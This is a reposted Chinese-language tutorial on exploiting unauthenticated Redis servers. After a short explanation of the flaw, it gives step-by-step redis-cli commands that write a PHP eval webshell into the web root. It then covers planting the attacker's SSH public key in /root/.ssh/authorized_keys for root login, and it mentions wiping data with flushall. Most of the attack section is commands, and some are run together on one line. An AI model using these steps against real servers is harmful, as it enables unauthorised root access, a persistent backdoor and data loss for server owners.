Redis未授权访问写Webshell和公私钥认证获取root权限
0x01?什么是Redis未授權訪問漏洞
Redis?默認情況下,會綁定在?0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源?ip?訪問等,這樣將會將?Redis?服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問?Redis?以及讀取?Redis?的數據。攻擊者在未授權訪問?Redis?的情況下,利用?Redis?自身的提供的config?命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的?/root/.ssh?文件夾的authotrized_keys?文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。
簡單說,漏洞的產生條件有以下兩點:
(1)Redis綁定在?0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
??漏洞的危害
(1)攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
(2)攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
(3)最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
?
0x02?利用Redis寫Webshell
-
利用前提:
1.通過phpinfo頁面或者其他方法獲取Redis服務器網站的根目錄
?
得到服務器網站的根目錄是:/var/www/html
2.?通過redis-cli與Redis服務端進行連接,通過Redis未授權直接連接Redis服務端
root@ubuntu:~# redis-cli -h 192.168.5.57
?
?利用前面我們已經得知的網站根目錄開始利用Redis寫Webshell(一句話木馬)
config set dir /var/www/htmlconfig set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save
連接shell
?
?0x02?利用"公私鑰"認證獲取root權限,ssh免密登陸目標服務器
1、?在攻擊機(redis客戶端)中生成ssh公鑰和私鑰,密碼設置為空
root@ubuntu:~# ssh-keygen -t rsa2、?進入/root/.ssh目錄:??cd /root/.ssh?,?講生成的公鑰保存到1.txt(名字隨意)
root@ubuntu:~# cd /root/.ssh/ root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt root@ubuntu:~/.ssh# ls -a . .. 1.txt id_rsa id_rsa.pub known_hosts3、?鏈接目標服務器上的Redis服務,將保存的公鑰1.txt寫入Redis(使用redis-cli -h ip命令連接靶機,將文件寫入)
cat 1.txt | redis-cli -h 10.10.10.135 -x set crack4、?通過客戶端遠程登陸目標靶機的Redis服務,并使用?CONFIG GET dir?命令得到Redis備份的路徑
redis-cli -h 10.10.10.135CONFIG GET dir5、?更改Redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh)
config set dir /root/.ssh6、?設置上傳公鑰的備份文件名字為authorized_keys
CONFIG SET dbfilename authorized_keys7、?檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出
CONFIG GET dbfilenamesaveexit8、?在攻擊機上使用SSH免密登錄靶機
ssh -i id_rsa root@x.x.xx?
?
最后成功root權限登陸目標系統
?
?
?
?
?
?
?
轉載于:https://www.cnblogs.com/-qing-/p/10978912.html
總結
以上是生活随笔為你收集整理的Redis未授权访问写Webshell和公私钥认证获取root权限的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: jQuery 插件 jSlider 图片
- 下一篇: [转]数据库性能优化(老Key)